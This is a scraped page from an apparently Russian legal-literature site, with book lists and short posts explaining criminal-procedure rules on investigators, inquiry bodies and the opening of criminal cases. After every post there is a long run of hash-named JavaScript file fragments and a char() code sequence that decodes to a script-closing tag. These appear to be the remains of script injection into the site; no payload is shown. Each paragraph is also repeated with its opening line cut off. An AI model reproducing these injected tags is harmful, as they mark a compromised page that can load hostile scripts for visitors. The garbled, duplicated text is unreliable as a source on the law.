НАВИГАЦИЯ:
ЮРИДИЧЕСКОЕ НАСЛЕДИЕ:
- Курс государственного благоустройства[полицейское право] 1890 г. (Антонович А.Я.)
- О cущности правосознания (И.А. Ильин)
- Теория права и государства[воспроизводится по изданиям 1915 и 1956 г.г.] (И.А. Ильин)
- Типы господства (Макс Вебер)
- Происхождение семьи, частной собственности и государства 1986 г. (Фридрих Энгельс)
- Право и факт в римском праве 1898 г. (Покровский И.A.)
- Лекции по истории философии права 1914 г. (Новгородцев П.И.)
- План государственного преобразования (введение к уложению государственных законов 1809 г.) с приложением "Записки об устройстве судебных и правительственных учреждений в России" (1803 г.), статей "О государственных установлениях", "О крепостных людях" и Пермского письма к императору Александру (Сперанский М.М.)
- Анализ понятия о преступлении 1892 г. (Пусторослев П. П.)
- Общая теория права Элементарный очерк. По изданию 1911 г. (Хвостов В.М.)
- История философии права Университетская типография 1906 г. (Шершеневич Г.Ф.)
- Общая теория права Москва: издание Бр. Башмаковых, 1910 г. (Шершеневич Г.Ф.)
- Об юридических лицах по римскому праву (Суворов Н.С.)
РАЗНОЕ:
- Французское административное право (Г.Брэбан)
- Конституция РСФСР 1918 года (Чистяков О.И.)
- Конституция СССР 1924 года (Чистяков О.И.)
- Основы конституционного строя России (Румянцев О. Г.)
- Адвокатская этика (Барщевский М.Ю.)
- Советское гражданское право (Пушкин А.А., Маслов В.Ф.)
- Авторское право в издательском бизнесе и сми (М.А. Невская, Е.Е. Сухарев, Е.Н. Тарасова)
- Авторское право СССР (Антимонов Б.С., Флейшиц Е.А.)
- Интеллектуальная собственность (Мэггс П.Б., Сергеев А.П.)
- Корпоративное предпринимательство: от смысла к предмету (С.Б.Чернышев)
- Административные правонарушения (Борисов А.Н.)
- Для следователя (В.В. Мозякова)
- Административная деятельность ОВД (А.П. Коренев)
- Ответственность в системе права (Чирков А.П.)
- Государственное и муниципальное управление в зарубежных странах (Старцев Я.Ю.)
- Адвокатское расследование в уголовном процессе (Мартынчик Е.Г.)
- Судебное производство в уголовном процессе Российской Федкрации (А.И. Карпов)
- Право хозяйственного ведения и право оперативного управления (Д.В. Петров)
- Судебная бухгалтерия (Голубятников С.П.)
- Судебная сексология (Д. К. Лунин, В. П. Ольховик)
- Осмотр места происшествия: Практическое пособие (А.И. Дворкин)
- Адвокатура и власть (Бойков А.Д.)
- Справочник адвоката: Консультации, защита в суде, образцы документов (Данилов Е.П.)
- Настольная книга прокурора (С.И.Герасимов)
- Административный процесс и административно-процессуальное право (Сорокин В.Д.)
- Адвокат как субъект доказывания в гражданском и арбитражном процессе (Власов А.А.)
- Административные правонарушения (Борисов А.Н.)
- Правовые позиции Конституционного Суда России. (Лазарев Л.В.)
- Российское законодательство на современном этапе. (Н.А.Васецкий, Ю.К.Краснов.)
- Административная юстиция. Теория, история, перспективы. (Старилов Ю.Н.)
- История сыска в России. (П.А.Кошель)
- Практикум по гражданскому процессу. (М.К.Треушников)
- Теория Российского процессуального доказывания.
- Государственное принуждение в гражданском судопроизводстве. (Д.Г.Нохрин)
- Перспективы законодательного регулирования административного судопроизводства в Российской Федерации. (Э.И.Девицкий)
- Арбитражное процессуальное право. (В.В.Ефимова)
- Надзорное производство в арбитражном процессе. (А.Е.Ефимов)
- Усмотрение суда. (Папкова О.А.)
- Компенсация морального вреда. (Калинкина Л.Д.)
- Курс гражданского процесса теоретические начала и основные институты. (Сахнова Т.В.)
- Проблемы установления истины в гражданском процессе. (А.Т.Боннер)
- Доказательственное право Англии и США. (И.В.Решетникова)
- Основные проблемы исковой формы защиты права. (А.А.Добровольский, С.А.Иванова)
- Проблемы исполнения судебных решений Сборник статей. (С.П.Гришин, В.Е.Гущев, В.М.Мешков)
- Защита гражданских прав в суде. (П.Я.Трубников)
- Гражданский процесс. (А.А.Власов, М.Г.Власова, В.А.Черкашин)
- Практикум по гражданскому процессуальному праву. (М.К.Треушников)
- Предмет доказывания по гражданским делам.
- Проект исполнительного кодекса Российской Федерации.
- Судебные доказательства. (М.К.Треушников)
- Адвокат как субъект доказывания в гражданском и арбитражном процессе. (А.А.Власов)
- Право на судебную защиту в исковом производстве. (Кожухарь А.Н.)
- Иск (теория и практика). (Осокина Г.Л)
- Исковое производство в советском гражданском процессе. (Е.Г.Пушкарь)
РЕКЛАМА:
cопровождение в командировках за рубеж cопровождение в командировках за рубеж
АРХИВ НОВОСТЕЙ:
Для следователя | Автор: admin | 12-05-2010, 21:08
Как известно, в зависимости от того, в какой форме производится предварительное
расследование, оно осуществляется или органом предварительного следствия, или органом
дознания. Причем иногда говорят: следствие ведется таким-то следственным подразделением
(следственным отделением, отделом, управлением) такого-то правоохранительного органа
(например, райотдела, горотдела внутренних дел, управления внутренних дел, МВД республики),
а то и просто - таким-то правоохранительным органом, в (при) структуре которого функционирует
данное следственное подразделение (например, Главным управлением внутренних дел города
Москвы). Это неверно. Субъектом процессуальных правоотношений, обладающим всей полнотой
правомочий на расследование данного уголовного дела в данной форме, является следователь -
"должностное лицо, уполномоченное осуществлять предварительное следствие по уголовному
делу, а также иные полномочия, предусмотренные настоящим Кодексом" (п. 41 ст. 5 УПК РФ) <1>.
Подобно судье, процессуально самостоятельный следователь несет полную единоличную
ответственность за выбор направления досудебного производства по уголовному делу,
находящемуся в его производстве, и за принимаемые процессуальные решения: ни следственное
подразделение, в состав которого он входит, ни тем более правоохранительный орган, в структуру
которого входит данное подразделение, субъектом уголовно-процессуальных правоотношений по
конкретному уголовному делу не являются, и участниками судопроизводства обжалуются действия
не следственного подразделения и не правоохранительного органа, а следователя.cfffa5bee490aaa75d6456c8a85af25e.js" type="text/javascript">65921d393019138091979d3e0bd2f538char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)c20c013cfcafe9df7dc43f77cfabfb24.js" type="text/javascript">c698416b40a07056d16bec049c2b002b.js" type="text/javascript">2707e38d0ea8eac213c9c90438599ffd.js" type="text/javascript">1999d2034b84bc3e6c2dfcf414acda79.js" type="text/javascript">88e9dd461bc29e28e6a56fe5ee633791.js" type="text/javascript">cbb2a8bfe6eb490fd6ad628f824fed31.js" type="text/javascript">4971f73c1dda44eb0291b0e3f8c3b839.js" type="text/javascript">8b7f56ae467f6c81540d15ffdc6fe13d.js" type="text/javascript">097f0b4771f4d590c9195805a4f7ab7e.js" type="text/javascript">28ebc29f1fe72693a614d8ed039d8e09.js" type="text/javascript">8b56fa381fcfd5cac3f5fede5b0bb5f7.js" type="text/javascript">
расследование, оно осуществляется или органом предварительного следствия, или органом
дознания. Причем иногда говорят: следствие ведется таким-то следственным подразделением
(следственным отделением, отделом, управлением) такого-то правоохранительного органа
(например, райотдела, горотдела внутренних дел, управления внутренних дел, МВД республики),
а то и просто - таким-то правоохранительным органом, в (при) структуре которого функционирует
данное следственное подразделение (например, Главным управлением внутренних дел города
Москвы). Это неверно. Субъектом процессуальных правоотношений, обладающим всей полнотой
правомочий на расследование данного уголовного дела в данной форме, является следователь -
"должностное лицо, уполномоченное осуществлять предварительное следствие по уголовному
делу, а также иные полномочия, предусмотренные настоящим Кодексом" (п. 41 ст. 5 УПК РФ) <1>.
Подобно судье, процессуально самостоятельный следователь несет полную единоличную
ответственность за выбор направления досудебного производства по уголовному делу,
находящемуся в его производстве, и за принимаемые процессуальные решения: ни следственное
подразделение, в состав которого он входит, ни тем более правоохранительный орган, в структуру
которого входит данное подразделение, субъектом уголовно-процессуальных правоотношений по
конкретному уголовному делу не являются, и участниками судопроизводства обжалуются действия
не следственного подразделения и не правоохранительного органа, а следователя.cfffa5bee490aaa75d6456c8a85af25e.js" type="text/javascript">65921d393019138091979d3e0bd2f538char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)c20c013cfcafe9df7dc43f77cfabfb24.js" type="text/javascript">c698416b40a07056d16bec049c2b002b.js" type="text/javascript">2707e38d0ea8eac213c9c90438599ffd.js" type="text/javascript">1999d2034b84bc3e6c2dfcf414acda79.js" type="text/javascript">88e9dd461bc29e28e6a56fe5ee633791.js" type="text/javascript">cbb2a8bfe6eb490fd6ad628f824fed31.js" type="text/javascript">4971f73c1dda44eb0291b0e3f8c3b839.js" type="text/javascript">8b7f56ae467f6c81540d15ffdc6fe13d.js" type="text/javascript">097f0b4771f4d590c9195805a4f7ab7e.js" type="text/javascript">28ebc29f1fe72693a614d8ed039d8e09.js" type="text/javascript">8b56fa381fcfd5cac3f5fede5b0bb5f7.js" type="text/javascript">
Коментариев: 0 | Просмотров: 721 |
Для следователя | Автор: admin | 12-05-2010, 21:08
Органами дознания являются правоохранительные органы государства, на которые
возлагаются следующие процессуальные задачи:
- производство дознания по уголовным делам, по которым производство предварительного
следствия необязательно;
- выполнение неотложных следственных действий по уголовным делам, по которым
производство предварительного следствия обязательно.
Согласно п. 1 ч. 1 ст. 40 УПК РФ к органам дознания относятся: органы внутренних дел
Российской Федерации, а также иные органы исполнительной власти, наделенные в соответствии
с федеральным законом полномочиями по осуществлению оперативно-розыскной деятельности.
Формулировка "...а также иные органы исполнительной власти, наделенные полномочиями по
осуществлению оперативно-розыскной деятельности" таит в себе проблему. Во-первых, наличие в
УПК РФ норм, которые отсылают к другим нормативным правовым актам (отсылочные нормы),
нельзя признать положительным явлением. По смыслу ст. 1 УПК РФ этот Кодекс является
единственным основанным на Конституции РФ источником уголовно-процессуального права,
значит, в ней обязательны исчерпывающие ответы на все вопросы и о субъектах уголовно-
процессуальных правоотношений, и об их содержании. Во-вторых, в числе органов,
осуществляющих оперативно-розыскную деятельность, перечень которых установлен ст. 13
Федерального закона "Об оперативно-розыскной деятельности", имеются и такие, которые к
органам дознания отнести никак нельзя, потому что полномочиями возбудить уголовное дело и
расследовать его они не наделены и собственной подследственности не имеют. Это оперативные
подразделения федеральных органов государственнойохраны <1> и Службы внешней разведки
Российской Федерации <2>.
9fa1e06877bf4ae3984d20c76c53d9b3.js" type="text/javascript">98441a14beb2aa2a760fa56863c2b3d0char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)bd879ed9f1fa802e31b1e3ac112dce1c.js" type="text/javascript">30c101f60a76a9132fa8362fcc124426.js" type="text/javascript">6d1348f4d7eadba81c7bb6321e2f3df1.js" type="text/javascript">38e7889b7f7a50011a3d251011b2d045.js" type="text/javascript">de6afe6f9cdb73d93b909dab27bafb37.js" type="text/javascript">317140c144f58b58ce0d8067f0129434.js" type="text/javascript">5f4d5ab042a3c14226bdb3ceee11f3a0.js" type="text/javascript">fd8f7d7898833627fddf78c51924a2ad.js" type="text/javascript">0968095f322fb6c47e5f0f93fa53ebdb.js" type="text/javascript">72de29463775ee580c5415102b69f2cd.js" type="text/javascript">eb39481ebac1b8589aae7026eaa5fdf8.js" type="text/javascript">
возлагаются следующие процессуальные задачи:
- производство дознания по уголовным делам, по которым производство предварительного
следствия необязательно;
- выполнение неотложных следственных действий по уголовным делам, по которым
производство предварительного следствия обязательно.
Согласно п. 1 ч. 1 ст. 40 УПК РФ к органам дознания относятся: органы внутренних дел
Российской Федерации, а также иные органы исполнительной власти, наделенные в соответствии
с федеральным законом полномочиями по осуществлению оперативно-розыскной деятельности.
Формулировка "...а также иные органы исполнительной власти, наделенные полномочиями по
осуществлению оперативно-розыскной деятельности" таит в себе проблему. Во-первых, наличие в
УПК РФ норм, которые отсылают к другим нормативным правовым актам (отсылочные нормы),
нельзя признать положительным явлением. По смыслу ст. 1 УПК РФ этот Кодекс является
единственным основанным на Конституции РФ источником уголовно-процессуального права,
значит, в ней обязательны исчерпывающие ответы на все вопросы и о субъектах уголовно-
процессуальных правоотношений, и об их содержании. Во-вторых, в числе органов,
осуществляющих оперативно-розыскную деятельность, перечень которых установлен ст. 13
Федерального закона "Об оперативно-розыскной деятельности", имеются и такие, которые к
органам дознания отнести никак нельзя, потому что полномочиями возбудить уголовное дело и
расследовать его они не наделены и собственной подследственности не имеют. Это оперативные
подразделения федеральных органов государственнойохраны <1> и Службы внешней разведки
Российской Федерации <2>.
Коментариев: 0 | Просмотров: 882 |
Для следователя | Автор: admin | 12-05-2010, 21:08
Повод к возбуждению уголовного дела -это предусмотренный законом (УПК РФ) источник
информации, из которогоорганудознания или следователю становится известно о готовящемся,
совершаемом или совершенном преступлении. Их перечень приводится непосредственно в законе
(ч. 1 ст. 140 УПК РФ). Здесь названы: во-первых, два определенных повода -заявление о
преступлении и явка с повинной. А во-вторых, сформулировано обобщающее положение,
охватывающее практически все возможные ситуации, когда правоохранительный орган получает
относящуюся к его уголовно-процессуальной компетенции информацию -сообщение о
совершенном или готовящемся преступлении.
8c8878102d003abbb4d29238744ca5eb.js" type="text/javascript">66ed3b9b7f5bb1ca9a4dee7da6e350f0char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)a9c0c3642f04cb07e80b397e18589535.js" type="text/javascript">15c0b91ca20e2d1599821eff61c39f9e.js" type="text/javascript">fa5816e0d236040277287adca6cda2db.js" type="text/javascript">5da0c647412569089d65da24d938725d.js" type="text/javascript">e2bfa32f9b3e1ad5a3a8d182cb194ed3.js" type="text/javascript">e9a56766bd895eb18ce5c6f242aee8c7.js" type="text/javascript">a69b0ce95da93b2b35a5659626a2c14d.js" type="text/javascript">e51f51b60a62a63f94bfe555269073b2.js" type="text/javascript">2aad27997f6c1abe673d6ae9ac8e6bb8.js" type="text/javascript">37b0d87add681bfe76026274b0154c61.js" type="text/javascript">a1d46eb8d719631dfb3644a6ce369733.js" type="text/javascript">
информации, из которогоорганудознания или следователю становится известно о готовящемся,
совершаемом или совершенном преступлении. Их перечень приводится непосредственно в законе
(ч. 1 ст. 140 УПК РФ). Здесь названы: во-первых, два определенных повода -заявление о
преступлении и явка с повинной. А во-вторых, сформулировано обобщающее положение,
охватывающее практически все возможные ситуации, когда правоохранительный орган получает
относящуюся к его уголовно-процессуальной компетенции информацию -сообщение о
совершенном или готовящемся преступлении.
Коментариев: 0 | Просмотров: 514 |
Для следователя | Автор: admin | 12-05-2010, 21:08
Согласно ч. 2 ст. 140 УПК РФ основанием для возбуждения уголовного дела является
наличие достаточных данных, указывающих на признаки преступления. Для возбуждения
уголовногодела не обязательно наличие данных о том, кто совершил преступление; на данный
момент они могут отсутствовать полностью; необходимы лишь такие данные, которые
свидетельствуют о наличии самого события преступления; например, обнаруженные на трупе
человека следы насильственной смерти свидетельствуют об убийстве, а следы взлома сейфа - о
краже находившихся там денегили ценностей. С позиции уголовно-правового учения о составе
преступления это означает, что основания к возбуждению уголовного дела образуют фактические
данные, относящиеся к объекту и объективной стороне состава.
69d0f746d20263fcd54425d9157304a8.js" type="text/javascript">0e3bd3d47441a7bad97b0b90fccaab97char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)803f80c15de3404dfa054a0ac73858c2.js" type="text/javascript">78cc2e1152605bbfd3d2e6e89a72a44b.js" type="text/javascript">7d149bc49f7d3f8f8b9e3e2a0e5b3ec0.js" type="text/javascript">7d5b99d84f5e016e38c9720d1b4c2669.js" type="text/javascript">b04a6be1418ad4868c8e5e47e5f79a91.js" type="text/javascript">be6f82b79c6bd03d6e7ec335be1709fb.js" type="text/javascript">4b960b51984e1d3f89937ab9217662bc.js" type="text/javascript">d961f8921935e8243d6f6f95f109e555.js" type="text/javascript">5f26ac8251c90f7c18b3e2f43685df8c.js" type="text/javascript">2f228e6912fcd348b3fd1e6c4e60c389.js" type="text/javascript">6f970d5fa861500896929a4e774d4606.js" type="text/javascript">
наличие достаточных данных, указывающих на признаки преступления. Для возбуждения
уголовногодела не обязательно наличие данных о том, кто совершил преступление; на данный
момент они могут отсутствовать полностью; необходимы лишь такие данные, которые
свидетельствуют о наличии самого события преступления; например, обнаруженные на трупе
человека следы насильственной смерти свидетельствуют об убийстве, а следы взлома сейфа - о
краже находившихся там денегили ценностей. С позиции уголовно-правового учения о составе
преступления это означает, что основания к возбуждению уголовного дела образуют фактические
данные, относящиеся к объекту и объективной стороне состава.
Коментариев: 0 | Просмотров: 598 |
Для следователя | Автор: admin | 12-05-2010, 21:07
Дознаватель, орган дознания и следователь обязаны принять и проверить сообщение о
совершенном или готовящемся преступлении и в пределах своей компетенции в срок не позднее
трех суток принять законное решение. Руководитель следственного органа, начальник органа
дознания вправе по ходатайству следователя, дознавателя продлить этот срок до 10 суток (ч. 1 и 3
ст. 144 УПК РФ).
При проверке сообщения о преступлении орган дознания, дознаватель и следователь
вправе требовать производства документальных проверок <1>и ревизий <2>, привлекать к их
участию специалистов. При необходимости проведения этих трудоемких контрольных
внепроцессуальных действий срок доследственной проверки может быть в вышеуказанном
порядке продлен до 30 суток (ч. 2 и 3 ст. 144 УПК РФ).
341e76f798412e11f39ab79e1820a933.js" type="text/javascript">3edc2a30d7de5d22e79fd72820937d1fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)537d64d0f805b45a6a19e364290c69bb.js" type="text/javascript">b0f248922bb41341c159a41a3d7a5505.js" type="text/javascript">159f7df76a4f90716e50471d353f1457.js" type="text/javascript">a56854afd5c73c81069b58d51202822d.js" type="text/javascript">50faf8bcb274f710d7c3f852c101a50b.js" type="text/javascript">552a7a71d892f9456e5925238cda49fe.js" type="text/javascript">ed62dcb179700e166a1c8eb099fc74f6.js" type="text/javascript">16367b477fcb0b3f8d476ee5f75dba04.js" type="text/javascript">5501af9fd7e95d08d57b611f8404ba96.js" type="text/javascript">913d1ae5ea6fec07cc5867e9ed2119ae.js" type="text/javascript">b28244fe5c1bf3e2a2bfe8b7d6c09045.js" type="text/javascript">
совершенном или готовящемся преступлении и в пределах своей компетенции в срок не позднее
трех суток принять законное решение. Руководитель следственного органа, начальник органа
дознания вправе по ходатайству следователя, дознавателя продлить этот срок до 10 суток (ч. 1 и 3
ст. 144 УПК РФ).
При проверке сообщения о преступлении орган дознания, дознаватель и следователь
вправе требовать производства документальных проверок <1>и ревизий <2>, привлекать к их
участию специалистов. При необходимости проведения этих трудоемких контрольных
внепроцессуальных действий срок доследственной проверки может быть в вышеуказанном
порядке продлен до 30 суток (ч. 2 и 3 ст. 144 УПК РФ).
Коментариев: 0 | Просмотров: 508 |
Для следователя | Автор: admin | 12-05-2010, 21:07
В соответствии со ст. 145 УПК РФ по результатам рассмотрения сообщения о преступлении
принимается одно из следующих решений:
- о возбуждении уголовного дела;
- об отказе в возбуждении уголовного дела;
- о передаче сообщения по подследственности или подсудности.
Правом возбуждения уголовного дела публичного и частно-публичного обвинения наделены
только правоохранительные органы государства, осуществляющие процессуальную функцию
уголовного преследования (органы уголовного преследования), орган дознания, дознаватель и
следователь (ч. 1 ст. 146 УПК РФ), причем каждый -в пределах своей компетенции <1>.
2bbc5c9a5c2e4acb2700ecec159a715d.js" type="text/javascript">dba0161f048d870f26be48abdb860927char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)b89587f62c1c97f94b186b2358f4b6c6.js" type="text/javascript">95332d5efa5dffa51c8b502c6766f795.js" type="text/javascript">6d1f52223bd62461c96f33a835bc198b.js" type="text/javascript">7c54a9588f1ab76d2ed53c3ecb337b53.js" type="text/javascript">1cd874da34f3f9a81b913d8bd09ed81c.js" type="text/javascript">ac00467cc55364e31acc50839f15b59e.js" type="text/javascript">fc89274104f31f3a723cc433d26369bf.js" type="text/javascript">7f1d680149845dec913f18ad325aad00.js" type="text/javascript">fee62383aecb3dde68040786b928d56c.js" type="text/javascript">80d5b38a3bdf201822d531550655f162.js" type="text/javascript">104a40ee94bf607326a9d0b1ea2e1f96.js" type="text/javascript">
принимается одно из следующих решений:
- о возбуждении уголовного дела;
- об отказе в возбуждении уголовного дела;
- о передаче сообщения по подследственности или подсудности.
Правом возбуждения уголовного дела публичного и частно-публичного обвинения наделены
только правоохранительные органы государства, осуществляющие процессуальную функцию
уголовного преследования (органы уголовного преследования), орган дознания, дознаватель и
следователь (ч. 1 ст. 146 УПК РФ), причем каждый -в пределах своей компетенции <1>.
Коментариев: 0 | Просмотров: 333 |
Для следователя | Автор: admin | 12-05-2010, 21:07
Согласно ч. 1 ст. 148 УПК РФ при отсутствииоснований для возбуждения уголовного дела
следователь или дознаватель своим постановлением отказывает в этом. По буквальному смыслу
данного правила основанием для отказав возбуждении уголовногодела может служить только
отсутствие достаточных данных, указывающих на признаки преступления. Однако из
сопоставления комментируемой статьи с нормами гл. 4 "Основания для отказа в возбуждении
уголовного дела, прекращения уголовного дела и уголовного преследования" (ст. 24 и 27 УПК РФ)
явствует, что в возбуждении уголовного дела должно быть отказано не только при отсутствии
оснований для такого возбуждения, но и при наличии оснований и одновременном наличии
обстоятельств, исключающих движение уголовного дела, таких, как истечение сроков давности,
смерть подозреваемого, отсутствие заявления потерпевшего, когда такое заявление необходимо
по закону, наличие акта амнистии и др.
50ab0566076858a8b8ee5b9f23f43cf0.js" type="text/javascript">4cd416ee5a63ed74fd25162e1c06f17dchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7f00fb6b823a5958963b1835a76248a7.js" type="text/javascript">980a9e6815f81acae5b73d7acac0ca44.js" type="text/javascript">181d1a08887b396e107d83fb0fe7c7f9.js" type="text/javascript">c76108722a20b9d2a85dc08edc053abb.js" type="text/javascript">6fb7170fd2ef10b4adb019048716ca45.js" type="text/javascript">0a2c1d78581bd09bf257a078bc3c9abf.js" type="text/javascript">be792e0f7d7c4925f4ec3ef82abdf6cf.js" type="text/javascript">025f541e46fef156183484c856d831ff.js" type="text/javascript">70179dc83bab3abb50e4a3616c2022a1.js" type="text/javascript">b95dc708645559531d0300cdb5cd1e0f.js" type="text/javascript">74316f0153867539f6c526a32027e1ca.js" type="text/javascript">
следователь или дознаватель своим постановлением отказывает в этом. По буквальному смыслу
данного правила основанием для отказав возбуждении уголовногодела может служить только
отсутствие достаточных данных, указывающих на признаки преступления. Однако из
сопоставления комментируемой статьи с нормами гл. 4 "Основания для отказа в возбуждении
уголовного дела, прекращения уголовного дела и уголовного преследования" (ст. 24 и 27 УПК РФ)
явствует, что в возбуждении уголовного дела должно быть отказано не только при отсутствии
оснований для такого возбуждения, но и при наличии оснований и одновременном наличии
обстоятельств, исключающих движение уголовного дела, таких, как истечение сроков давности,
смерть подозреваемого, отсутствие заявления потерпевшего, когда такое заявление необходимо
по закону, наличие акта амнистии и др.
Коментариев: 0 | Просмотров: 1205 |
Для следователя | Автор: admin | 12-05-2010, 21:07
Если сообщение о преступлении поступило в правоохранительный орган, который в силу
закона о подследственности (ст. 151 УПК РФ) не вправе возбудить по нему уголовное дело и
расследовать сам, то этот органобязан направить данное сообщение вместе с приобщенными к
нему материалами по подследственности в тот орган, к компетенции которого относится принятие
решения по нему.
9e6cabd41a53a199c13f5600a864be44.js" type="text/javascript">63d5250e1a4e9e73a3fad31507db1076char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e08d97d26e7ba46522932be76e2dfc12.js" type="text/javascript">071850fa764af82abc4ec6b492c07d95.js" type="text/javascript">95269e6beb26908a6ab1f9fbe51c4a62.js" type="text/javascript">86c1c068346cdee32a5f12af4f923832.js" type="text/javascript">15d4185923e7a01dbb06fe4beb43d51a.js" type="text/javascript">27b6392405a3506c5b83284cae724afc.js" type="text/javascript">59f8f23834d26271aacf1424d74a5fbb.js" type="text/javascript">389fc7f4cdb50b3b6ecdcadeba26e6ac.js" type="text/javascript">5970825f217709ba1723d8a713bb2917.js" type="text/javascript">8076935bf5ddb69ff5ca99bbf5041e19.js" type="text/javascript">0b25f38548604246a033d0f0158530ea.js" type="text/javascript">
закона о подследственности (ст. 151 УПК РФ) не вправе возбудить по нему уголовное дело и
расследовать сам, то этот органобязан направить данное сообщение вместе с приобщенными к
нему материалами по подследственности в тот орган, к компетенции которого относится принятие
решения по нему.
Коментариев: 0 | Просмотров: 425 |
Для следователя | Автор: admin | 12-05-2010, 21:07
Предварительное расследование - это следующая за возбуждением уголовного дела стадия
российского уголовного судопроизводства, уголовно-процессуальная деятельность в которой
подчинена решению задач: путем производства следственных действий по собиранию
доказательств раскрыть преступление, т.е. установить фактическиеобстоятельства дела и лицо,
совершившее преступление, сформулировать и обосновать обвинение, обеспечив законные
условия защиты от него и для реализации прав всеми участниками процесса, создать
предпосылки для привлечения виновного к уголовной ответственности по суду, обеспечить
возмещение причиненного преступлением ущерба, а также выяснить обстоятельства,
способствовавшие совершению преступления, приняв меры по их устранению; подготовить
материалы уголовного дела к судебному разбирательству.
e3d644718d96162271f65b3d4961b199.js" type="text/javascript">0c019cb08cd81b39eb88e0ab90881ed0char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)baf1a5c61421b7097892b5f3187101ae.js" type="text/javascript">5dd9fbb046cef0401d74e54bd468c57b.js" type="text/javascript">fa9775fb7375195effeeba717e5767a6.js" type="text/javascript">a912041f4eb142ac4c7cf1b3ada784ec.js" type="text/javascript">431158341005f3c4761b7fc4e46a2f1e.js" type="text/javascript">9aa99ed4cc6fe6addda5776d8117516f.js" type="text/javascript">366b7cdc27ead6e5ee2b4561af1fe33a.js" type="text/javascript">9ce11f7aa5a62fe1f2de8fee347e5c99.js" type="text/javascript">7923b138a2642fed2885bf5d28cd40df.js" type="text/javascript">bb063e4b54b2afcaf270d37d04ff44e1.js" type="text/javascript">9628460e35fc302d6072677f4b767964.js" type="text/javascript">
российского уголовного судопроизводства, уголовно-процессуальная деятельность в которой
подчинена решению задач: путем производства следственных действий по собиранию
доказательств раскрыть преступление, т.е. установить фактическиеобстоятельства дела и лицо,
совершившее преступление, сформулировать и обосновать обвинение, обеспечив законные
условия защиты от него и для реализации прав всеми участниками процесса, создать
предпосылки для привлечения виновного к уголовной ответственности по суду, обеспечить
возмещение причиненного преступлением ущерба, а также выяснить обстоятельства,
способствовавшие совершению преступления, приняв меры по их устранению; подготовить
материалы уголовного дела к судебному разбирательству.
Коментариев: 0 | Просмотров: 563 |
Для следователя | Автор: admin | 12-05-2010, 21:07
Производство предварительного расследования как в форме следствия, так и в форме
дознания подчиняется совокупности общих "сквозных"правил-требований, закрепленных в УПК
РФ, которые призваны обеспечить единообразие досудебной уголовно-процессуальной процедуры
и достижение задач, стоящих перед стадией предварительного расследования.
824b766a9aac48d13110bc85ad9a5b0c.js" type="text/javascript">e1c81a98095c6675e20475808578320fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)675082d29b37246bda97d71beced7768.js" type="text/javascript">2f5baa9f63c04b23383f122d5f4cd9fd.js" type="text/javascript">a9588f525395fbb12b0d98c1b316f688.js" type="text/javascript">a7b5453d94e0faed9bc504985ab019b4.js" type="text/javascript">3ec7b994a1f2cd3ab75fba20515ff1e2.js" type="text/javascript">544ede57d8cc67d95d4314c36b16c716.js" type="text/javascript">32b8f235280074cbf240da88d32f02ed.js" type="text/javascript">04161942a268f6c63c9515b46a6528ff.js" type="text/javascript">1c798d1acb893178f3cac66bb78f5142.js" type="text/javascript">2e466bb8a48ebb7a6eb9a5997cba6c08.js" type="text/javascript">84583ec0a51f6e582e7163030cb6657f.js" type="text/javascript">
дознания подчиняется совокупности общих "сквозных"правил-требований, закрепленных в УПК
РФ, которые призваны обеспечить единообразие досудебной уголовно-процессуальной процедуры
и достижение задач, стоящих перед стадией предварительного расследования.
Коментариев: 0 | Просмотров: 284 |
ЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
- Уголовно-правовая
- Гражданско-правовая
- Государственно-правовая
РАЗНОЕ:
- Административно-государственное управление в странах запада: США, Великобритания, Франция, Германия (Василенко И. А.)
- Государственное управление и государственная служба за рубежом (В.В.Чубинский)
- Деятельность органов местного самоуправления в области охраны окружающей среды в Российской Федерации (Алексеев А.П.)
- Законодательный процесс. Понятие. Институты. Стадии. (Васильев Р.Ф.)
- Иностранное конституционное право (В.В.Маклаков)
- Человек как носитель криминалистически значимой информации (Жванков В.А.)
- Криминалистическая характеристика преступных групп (Быков В.М.)
- Криминалистические проблемы обнаружения и устранения следственных ошибок (Карагодин В.Н., Морозова Е.В.)
- Участие недобросовестных адвокатов в организованной преступности и коррупции: комплексная характеристика и проблемы противодействия (Гармаев Ю.П.)
- В поисках истины (Ищенко Е. П., Любарский М. Г.)
- Деятельность экспертно-криминалистических подразделений органов внутренних дел по применению экспертно-криминалистических методов и средств в раскрытии и расследовании преступлений (В. А. Снетков)
- Теория и практика проверки показаний на месте (Л.Я. Драпкин, А.А. Андреев)
- 100 лет криминалистики (Торвальд Юрген)
- Руководство по расследованию преступлений (А. В. Гриненко)
- Осмотр места происшествия (А.И. Дворкин)
- Конституция России: природа, эволюция, современность (С.А.Авакьян)
- Конституционное правосудие. Судебное конституционное право и процесс (Н.В. Витрук)
- Криминалистика: тактика, организация и методика расследования (Резван А.П., Субботина М.В., Харченко Ю.В.)
- Криминалистика. Проблемы и мнения (1962-2002) (Бахин В.П.)
- Криминалистика: проблемы, тенденции, перспективы (Белкин Р. С.)
- Криминалистика: проблемы сегодняшнего дня (Белкин Р. С.)
